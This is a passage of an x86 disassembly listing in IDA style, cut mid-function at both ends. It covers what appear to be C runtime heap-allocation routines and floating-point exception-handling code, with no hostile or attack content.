		jz	loc_41B9AE
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41B9A0
		mov	eax, offset off_4397C0
		cmp	esi, eax
		jnz	short loc_41B918
		cmp	off_4397C0, 0
		jnz	short loc_41B908
		mov	off_4397C0, eax


loc_41B908:				; CODE XREF: sub_41B888+79j
		cmp	off_4397C4, 0
		jnz	short loc_41B92D
		mov	off_4397C4, eax
		jmp	short loc_41B92D
; ---------------------------------------------------------------------------


loc_41B918:				; CODE XREF: sub_41B888+70j
		mov	[esi], eax
		mov	eax, off_4397C4
		mov	[esi+4], eax
		mov	off_4397C4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41B92D:				; CODE XREF: sub_41B888+87j
					; sub_41B888+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41B94F:				; CODE XREF: sub_41B888+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41B94F
		push	ebx
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch


loc_41B978:				; CODE XREF: sub_41B888+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41B99C
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41B978
; ---------------------------------------------------------------------------


loc_41B99C:				; CODE XREF: sub_41B888+F7j
		mov	eax, esi
		jmp	short loc_41B9C7
; ---------------------------------------------------------------------------


loc_41B9A0:				; CODE XREF: sub_41B888+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 285067Bh


loc_41B9AE:				; CODE XREF: sub_41B888+4Bj
		cmp	esi, offset off_4397C0
		jz	short loc_41B9C5
		push	esi
		push	0
		push	dword_48B684
		call	near ptr 26F0264h
		nop


loc_41B9C5:				; CODE XREF: sub_41B888+2Bj
					; sub_41B888+12Cj
		xor	eax, eax


loc_41B9C7:				; CODE XREF: sub_41B888+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B888	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9CC	proc near		; CODE XREF: sub_41BA22+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 285067Bh
		cmp	off_43B7E0, esi
		jnz	short loc_41B9F1
		mov	eax, [esi+4]
		mov	off_43B7E0, eax


loc_41B9F1:				; CODE XREF: sub_41B9CC+1Bj
		cmp	esi, offset off_4397C0
		jz	short loc_41BA19
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_48B684
		call	near ptr 26F0264h
		nop
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BA19:				; CODE XREF: sub_41B9CC+2Bj
		or	dword_4397D0, 0FFFFFFFFh
		pop	esi
		retn
sub_41B9CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA22	proc near		; CODE XREF: sub_41BB3B+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_4397C4
		push	edi


loc_41BA2F:				; CODE XREF: sub_41BA22+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41BACD
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41BA48:				; CODE XREF: sub_41BA22+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41BA89
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 285067Bh
		test	eax, eax
		jz	short loc_41BA89
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_48A07C
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41BA7E
		cmp	eax, edi
		jbe	short loc_41BA81


loc_41BA7E:				; CODE XREF: sub_41BA22+56j
		mov	[esi+0Ch], edi


loc_41BA81:				; CODE XREF: sub_41BA22+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41BA96


loc_41BA89:				; CODE XREF: sub_41BA22+2Cj
					; sub_41BA22+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41BA48


loc_41BA96:				; CODE XREF: sub_41BA22+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41BACD
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41BACD
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41BAAD:				; CODE XREF: sub_41BA22+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41BABE
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41BAAD


loc_41BABE:				; CODE XREF: sub_41BA22+8Ej
		cmp	edx, 400h
		jnz	short loc_41BACD
		push	ecx
		call	sub_41B9CC
		pop	ecx


loc_41BACD:				; CODE XREF: sub_41BA22+11j
					; sub_41BA22+7Dj ...
		cmp	esi, off_4397C4
		jz	short loc_41BADF
		cmp	[ebp+arg_0], 0
		jg	loc_41BA2F


loc_41BADF:				; CODE XREF: sub_41BA22+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BA22	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BAE4	proc near		; CODE XREF: sub_417C3B+3Ap
					; sub_41944F+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_4397C0
		push	esi
		mov	ecx, edx


loc_41BAF0:				; CODE XREF: sub_41BAE4+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41BAFA
		cmp	eax, [ecx+14h]
		jb	short loc_41BB02


loc_41BAFA:				; CODE XREF: sub_41BAE4+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41BB37
		jmp	short loc_41BAF0
; ---------------------------------------------------------------------------


loc_41BB02:				; CODE XREF: sub_41BAE4+14j
		test	al, 0Fh
		jnz	short loc_41BB37
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41BB37
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41BB37:				; CODE XREF: sub_41BAE4+1Aj
					; sub_41BAE4+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41BAE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB3B	proc near		; CODE XREF: sub_417C3B+4Dp
					; sub_41944F+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41BB7F
		inc	dword_48A07C
		cmp	dword_48A07C, 20h
		jnz	short locret_41BB7F
		push	10h
		call	sub_41BA22
		pop	ecx

locret_41BB7F:				; CODE XREF: sub_41BB3B+2Bj
					; sub_41BB3B+3Aj
		retn
sub_41BB3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB80	proc near		; CODE XREF: sub_417BC7+4Ap
					; sub_41944F+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43B7E0
		push	edi


loc_41BB8E:				; CODE XREF: sub_41BB80+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41BC39
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41BBF3


loc_41BBB9:				; CODE XREF: sub_41BB80+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41BBDC
		cmp	[edi+4], ebx
		jbe	short loc_41BBDC
		push	ebx
		push	ecx
		push	eax
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41BBDC:				; CODE XREF: sub_41BB80+40j
					; sub_41BB80+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41BBB9
		jmp	short loc_41BBF6
; ---------------------------------------------------------------------------


loc_41BBF3:				; CODE XREF: sub_41BB80+37j
		mov	ebx, [ebp+arg_0]


loc_41BBF6:				; CODE XREF: sub_41BB80+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41BC3C


loc_41BC09:				; CODE XREF: sub_41BB80+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41BC28
		cmp	[edi+4], ebx
		jbe	short loc_41BC28
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	[edi+4], ebx


loc_41BC28:				; CODE XREF: sub_41BB80+8Dj
					; sub_41BB80+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41BC09
		jmp	short loc_41BC3C
; ---------------------------------------------------------------------------


loc_41BC39:				; CODE XREF: sub_41BB80+14j
		mov	ebx, [ebp+arg_0]


loc_41BC3C:				; CODE XREF: sub_41BB80+87j
					; sub_41BB80+B7j
		mov	esi, [esi]
		cmp	esi, off_43B7E0
		jz	short loc_41BC5B
		jmp	loc_41BB8E
; ---------------------------------------------------------------------------


loc_41BC4B:				; CODE XREF: sub_41BB80+54j
					; sub_41BB80+A3j
		mov	off_43B7E0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41BD83
; ---------------------------------------------------------------------------


loc_41BC5B:				; CODE XREF: sub_41BB80+C4j
		mov	eax, offset off_4397C0
		mov	edi, eax


loc_41BC62:				; CODE XREF: sub_41BB80+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41BC6E
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41BC7A


loc_41BC6E:				; CODE XREF: sub_41BB80+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41BD4F
		jmp	short loc_41BC62
; ---------------------------------------------------------------------------


loc_41BC7A:				; CODE XREF: sub_41BB80+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41BCA9


loc_41BC98:				; CODE XREF: sub_41BB80+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41BCA9
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41BC98


loc_41BCA9:				; CODE XREF: sub_41BB80+116j
					; sub_41BB80+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		nop
		call	near ptr 285082Eh
		cmp	eax, esi
		jnz	loc_41BD81
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_417330
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41BD10
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41BCE6:				; CODE XREF: sub_41BB80+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41BCE6


loc_41BD10:				; CODE XREF: sub_41BB80+15Ej
		mov	off_43B7E0, edi
		lea	eax, [edi+2018h]


loc_41BD1C:				; CODE XREF: sub_41BB80+1A8j
		cmp	ecx, eax
		jnb	short loc_41BD2C
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41BD2A
		add	ecx, 8
		jmp	short loc_41BD1C
; ---------------------------------------------------------------------------


loc_41BD2A:				; CODE XREF: sub_41BB80+1A3j
		cmp	ecx, eax


loc_41BD2C:				; CODE XREF: sub_41BB80+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------


loc_41BD4F:				; CODE XREF: sub_41BB80+F2j
		call	sub_41B888
		test	eax, eax
		jz	short loc_41BD81
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43B7E0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------


loc_41BD81:				; CODE XREF: sub_41BB80+143j
					; sub_41BB80+1D6j
		xor	eax, eax


loc_41BD83:				; CODE XREF: sub_41BB80+D6j
					; sub_41BB80+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD88	proc near		; CODE XREF: sub_41BB80+4Ap
					; sub_41BB80+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41BDCD
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41BDBC
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41BDC5
; ---------------------------------------------------------------------------


loc_41BDBC:				; CODE XREF: sub_41BD88+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41BDC5:				; CODE XREF: sub_41BD88+32j
		lea	eax, [edi+8]
		jmp	loc_41BE9B
; ---------------------------------------------------------------------------


loc_41BDCD:				; CODE XREF: sub_41BD88+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41BDD6
		mov	eax, esi


loc_41BDD6:				; CODE XREF: sub_41BD88+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41BE20


loc_41BDDD:				; CODE XREF: sub_41BD88+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41BE13
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41BDE9:				; CODE XREF: sub_41BD88+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BDF2
		inc	ebx
		inc	esi
		jmp	short loc_41BDE9
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BD88+64j
		cmp	esi, edx
		jnb	short loc_41BE44
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BE00
		mov	[ecx+4], esi
		jmp	short loc_41BE0C
; ---------------------------------------------------------------------------


loc_41BE00:				; CODE XREF: sub_41BD88+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41BEA5


loc_41BE0C:				; CODE XREF: sub_41BD88+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41BE18
; ---------------------------------------------------------------------------


loc_41BE13:				; CODE XREF: sub_41BD88+59j
		movzx	esi, bl
		add	eax, esi


loc_41BE18:				; CODE XREF: sub_41BD88+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41BDDD


loc_41BE20:				; CODE XREF: sub_41BD88+53j
		lea	esi, [ecx+8]


loc_41BE23:				; CODE XREF: sub_41BD88+EBj
					; sub_41BD88+F2j
		cmp	esi, edi
		jnb	short loc_41BEA5
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41BEA5
		mov	al, [esi]
		test	al, al
		jnz	short loc_41BE75
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41BE3B:				; CODE XREF: sub_41BD88+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BE65
		inc	ebx
		inc	eax
		jmp	short loc_41BE3B
; ---------------------------------------------------------------------------


loc_41BE44:				; CODE XREF: sub_41BD88+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE55
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41BE5E
; ---------------------------------------------------------------------------


loc_41BE55:				; CODE XREF: sub_41BD88+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41BE5E:				; CODE XREF: sub_41BD88+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41BE9B
; ---------------------------------------------------------------------------


loc_41BE65:				; CODE XREF: sub_41BD88+B6j
		cmp	eax, edx
		jnb	short loc_41BE7C
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41BEA5
		mov	esi, ebx
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------


loc_41BE75:				; CODE XREF: sub_41BD88+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------


loc_41BE7C:				; CODE XREF: sub_41BD88+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE8D
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41BE96
; ---------------------------------------------------------------------------


loc_41BE8D:				; CODE XREF: sub_41BD88+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41BE96:				; CODE XREF: sub_41BD88+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41BE9B:				; CODE XREF: sub_41BD88+40j
					; sub_41BD88+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41BEA7
; ---------------------------------------------------------------------------


loc_41BEA5:				; CODE XREF: sub_41BD88+7Ej
					; sub_41BD88+9Dj ...
		xor	eax, eax


loc_41BEA7:				; CODE XREF: sub_41BD88+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BD88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEAC	proc near		; CODE XREF: sub_41944F+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41BEE6
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BEE6:				; CODE XREF: sub_41BEAC+26j
		jnb	short loc_41BF4D
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41BF4D
		lea	eax, [ecx+edx]


loc_41BEFB:				; CODE XREF: sub_41BEAC+59j
		cmp	eax, esi
		jnb	short loc_41BF09
		cmp	byte ptr [eax],	0
		jnz	short loc_41BF07
		inc	eax
		jmp	short loc_41BEFB
; ---------------------------------------------------------------------------


loc_41BF07:				; CODE XREF: sub_41BEAC+56j
		cmp	eax, esi


loc_41BF09:				; CODE XREF: sub_41BEAC+51j
		jnz	short loc_41BF4D
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41BF41
		cmp	esi, eax
		jbe	short loc_41BF41
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41BF38
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41BF33


loc_41BF2C:				; CODE XREF: sub_41BEAC+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41BF2C


loc_41BF33:				; CODE XREF: sub_41BEAC+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF38:				; CODE XREF: sub_41BEAC+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41BF41:				; CODE XREF: sub_41BEAC+68j
					; sub_41BEAC+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41BF46:				; CODE XREF: sub_41BEAC+38j
		mov	[ebp+var_4], 1


loc_41BF4D:				; CODE XREF: sub_41BEAC:loc_41BEE6j
					; sub_41BEAC+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BEAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41BF55(int,int,double,int)

sub_41BF55	proc near		; CODE XREF: sub_417CA4+51p
					; sub_417DEB+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43BF38, 0
		jnz	short loc_41BF8A
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41C50A
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BF8A:				; CODE XREF: sub_41BF55+Aj
		push	0FFFFh
		mov	dword_48A014, 21h
		push	[ebp+arg_C]
		call	sub_41C77D
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41BF55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41BFA8(int,int,double,double,int)

sub_41BFA8	proc near		; CODE XREF: sub_417CA4:loc_417D67p
					; sub_417DEB:loc_417EAEp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2F3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BFE6
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41C040
		add	esp, 18h


loc_41BFE6:				; CODE XREF: sub_41BFA8+1Aj
		push	[ebp+arg_0]
		call	sub_41C5DD
		cmp	dword_43BF38, 0
		pop	ecx
		jnz	short loc_41C024
		test	eax, eax
		jz	short loc_41C024
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41C50A
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C024:				; CODE XREF: sub_41BFA8+4Ej
					; sub_41BFA8+52j
		push	eax
		call	sub_41C592
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41C77D
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_41BFA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C040	proc near		; CODE XREF: sub_41BFA8+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41C072
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_41C072:				; CODE XREF: sub_41C040+23j
		test	cl, 2
		jz	short loc_41C085
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_41C085:				; CODE XREF: sub_41C040+35j
		test	cl, bl
		jz	short loc_41C097
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_41C097:				; CODE XREF: sub_41C040+47j
		test	cl, 4
		jz	short loc_41C0AA
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_41C0AA:				; CODE XREF: sub_41C040+5Aj
		test	cl, 8
		jz	short loc_41C0BD
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_41C0BD:				; CODE XREF: sub_41C040+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
